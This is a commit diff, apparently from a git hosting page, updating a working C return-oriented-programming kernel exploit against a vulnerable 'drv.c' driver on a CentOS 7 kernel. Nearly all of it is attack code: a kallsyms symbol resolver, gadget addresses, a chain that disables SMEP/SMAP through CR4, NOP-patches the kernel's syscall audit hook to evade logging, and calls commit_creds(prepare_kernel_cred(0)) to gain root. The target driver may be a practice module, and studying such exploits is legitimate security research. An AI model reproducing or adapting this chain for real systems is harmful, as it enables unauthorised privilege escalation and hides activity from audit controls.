adjust for 3.10.0-327.36.1.el7.x86_64

centos7
Andy 8 years ago
parent 5564505b57
commit ce30b9df80
Signed by: arno
GPG Key ID: 368DDA2E9A471EAC

@ -1,8 +1,8 @@
/** /**
* ROP exploit for drv.c kernel module * ROP exploit for drv.c kernel module
* *
* Tested in: * Tested in CentOS Linux release 7.2.1511 (Core):
* Linux 3.10.0-327.28.3.el7.x86_64 - CentOS Linux release 7.2.1511 (Core) * Linux 3.10.0-327.36.1.el7.x86_64
* qemu 2.5.0 / i7-4500U * qemu 2.5.0 / i7-4500U
* *
* Compile: * Compile:
@ -13,6 +13,8 @@
* *
* Based on Vitaly Nikolenko's work: * Based on Vitaly Nikolenko's work:
* https://github.com/vnik5287/kernel_rop/ * https://github.com/vnik5287/kernel_rop/
*
* Additional thanks to spender!
*/ */
#define _GNU_SOURCE #define _GNU_SOURCE
@ -26,6 +28,7 @@
#include <errno.h> #include <errno.h>
#include <sys/mman.h> #include <sys/mman.h>
#include <assert.h> #include <assert.h>
#include <sys/utsname.h>
#include "drv.h" #include "drv.h"
#define DEVICE_PATH "/dev/vulndrv" #define DEVICE_PATH "/dev/vulndrv"
@ -34,6 +37,11 @@ unsigned long user_cs;
unsigned long user_ss; unsigned long user_ss;
unsigned long user_rflags; unsigned long user_rflags;
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
static void save_state() { static void save_state() {
asm( asm(
"movq %%cs, %0\n" "movq %%cs, %0\n"
@ -52,6 +60,79 @@ void shell(void) {
exit(0); exit(0);
} }
int __attribute__((regparm(3))) get_root()
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
static unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
/* didn't find the symbol, let's retry with the System.map
dedicated to the pointlessness of Russell Coker's SELinux
test machine (why does he keep upgrading the kernel if
"all necessary security can be provided by SE Linux"?)
*/
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
void usage(char *bin_name) { void usage(char *bin_name) {
fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name); fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name);
} }
@ -68,6 +149,11 @@ int main(int argc, char *argv[])
return -1; return -1;
} }
// commit_creds = (_commit_creds) 0xffffffff810ac980UL;
// prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810acc90UL;
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
/* /*
* req.offset * req.offset
* when xchg_esp_eax_ret_N_rop_gadget % 8 == 0, * when xchg_esp_eax_ret_N_rop_gadget % 8 == 0,
@ -99,17 +185,17 @@ int main(int argc, char *argv[])
// fake_stack begins here // fake_stack begins here
fake_stack = (unsigned long *)(stack_addr); fake_stack = (unsigned long *)(stack_addr);
*fake_stack ++= 0xffffffff8107c2c4UL; /* pop %rdi; ret */ *fake_stack ++= 0xffffffff8100359fUL; // : nop ; ret
/* /*
* In reality 0x14ff was 0x9d57: * In reality 0x14ff was 0x9d57:
* $ grep 0x14ff $(uname -r).gadgets * $ grep 0x14ff $(uname -r).gadgets
* 0xffffffff810e03d8 : xchg eax, esp ; ret 0x14ff * 0xffffffff810e03f8: xchg eax, esp ; ret 0x14ff
* *
* $ sudo gdb /boot/vmlinuz-$(uname -r) /proc/kcore * $ sudo gdb /boot/vmlinuz-$(uname -r) /proc/kcore
* (gdb) x/2i 0xffffffff810e03d8 * (gdb) x/2xi 0xffffffff810e03f8
* 0xffffffff810e03d8: xchg %eax,%esp * 0xffffffff810e03f8: xchg esp,eax
* 0xffffffff810e03d9: retq $0x9d57 * 0xffffffff810e03f9: ret 0x9d57
*/ */
// Update fake_stack's pointer // Update fake_stack's pointer
@ -124,6 +210,7 @@ int main(int argc, char *argv[])
* 0xffffffff8107c2c4 : pop rdi ; ret * 0xffffffff8107c2c4 : pop rdi ; ret
* *
*/ */
*fake_stack ++= 0xffffffff81114705UL; // pop %rdi; ret
*fake_stack ++= 0x6f0UL; // disabled SMEP and SMAP *fake_stack ++= 0x6f0UL; // disabled SMEP and SMAP
*fake_stack ++= 0xffffffff8100328dUL; // (Intel) mov cr4, rdi ; pop rbp ; ret *fake_stack ++= 0xffffffff8100328dUL; // (Intel) mov cr4, rdi ; pop rbp ; ret
*fake_stack ++= 0xdeadbeefUL; // dummy *fake_stack ++= 0xdeadbeefUL; // dummy
@ -133,36 +220,41 @@ int main(int argc, char *argv[])
* bypass syscall audit configuration without fully disabling Linux Audit system. * bypass syscall audit configuration without fully disabling Linux Audit system.
* *
* /proc/kallsyms: * /proc/kallsyms:
* ffffffff81646c0f t auditsys * ffffffff81646acf t auditsys
* ffffffff8110b940 T __audit_syscall_entry * ffffffff8110b960 T __audit_syscall_entry
* *
* $ objdump -D vmlinux |grep -A1 -B1 ffffffff81646c1e * gdb> x/1xi 0xffffffff81646acf+15
* ffffffff81646c1b: 48 89 c7 mov %rax,%rdi * 0xffffffff81646ade: call 0xffffffff8110b960 <-- auditsys+15 calls __audit_syscall_entry
* ffffffff81646c1e: e8 1d 4d ac ff callq 0xffffffff8110b940 <-- auditsys+15 calls __audit_syscall_entry *
* ffffffff81646c23: 4c 8b 1c 24 mov (%rsp),%r11 * NOTE: This will not work if kernel was built witth enabled CONFIG_DEBUG_RODATA (Write protect kernel read-only data structures)
*/ */
*fake_stack ++= 0xffffffff81077cb7UL; // pop %rdx; ret *fake_stack ++= 0xffffffff81077d17UL; // pop %rdx; ret
*fake_stack ++= 0x9090909090909090UL; // rdx is: NOP (will be used to overwrite auditsys's callq __audit_syscall_entry) *fake_stack ++= 0x9090909090909090UL; // rdx is: NOP (will be used to overwrite auditsys's callq __audit_syscall_entry)
*fake_stack ++= 0xffffffff8107c2c4UL; // pop %rdi; ret *fake_stack ++= 0xffffffff81114705UL; // pop %rdi; ret
*fake_stack ++= 0xffffffff81646c1eUL; // rdi is: auditsys+15 (0xffffffff81646c1e: callq 0xffffffff8110b940) *fake_stack ++= 0xffffffff81646adeUL; // rdi is: auditsys+15
*fake_stack ++= 0xffffffff812fc0a6UL; // mov qword ptr [rdi], rdx ; ret (overwrite) *fake_stack ++= 0xffffffff812fba16UL; // mov qword ptr [rdi], rdx ; ret (overwrite)
/* /*
* To switch our process's owner to root, it is enough to execute: * To switch our process's owner to root, it is enough to execute:
* commit_creds(prepare_kernel_cred(0)) syscalls * commit_creds(prepare_kernel_cred(0)) syscalls
* rdx(rax(0)) * rdx(rax(0))
*
* You can also try using get_root function instead of a bare ROP
*/ */
*fake_stack ++= 0xffffffff8107c2c4UL; // pop %rdi; ret
// *fake_stack ++= (unsigned long)get_root;
*fake_stack ++= 0xffffffff81114705UL; // pop %rdi; ret
*fake_stack ++= 0x0UL; // rdi is NULL *fake_stack ++= 0x0UL; // rdi is NULL
*fake_stack ++= 0xffffffff810acc60UL; // prepare_kernel_cred() and $rax points to cred struct *fake_stack ++= 0xffffffff810acc90UL; // prepare_kernel_cred() and $rax points to cred struct
*fake_stack ++= 0xffffffff81077cb7UL; // pop %rdx; ret *fake_stack ++= 0xffffffff81077d17UL; // pop %rdx; ret
// *fake_stack ++= 0xffffffff810ac950UL; // commit_creds() // // *fake_stack ++= 0xffffffff810ac980UL; // commit_creds()
*fake_stack ++= 0xffffffff810ac956UL; // commit_creds() + 2 instructions *fake_stack ++= 0xffffffff810ac986UL; // commit_creds() + skip first push instruction
*fake_stack ++= 0xffffffff81016d77UL; // mov %rax, %rdi; call %rdx => calls commit_creds(prepare_kernel_cred(0)) *fake_stack ++= 0xffffffff81016d77UL; // mov rdi, rax ; call rdx => calls commit_creds(prepare_kernel_cred(0))
// safely return to user-space from the kernel-space // safely return to user-space from the kernel-space

Loading…
Cancel
Save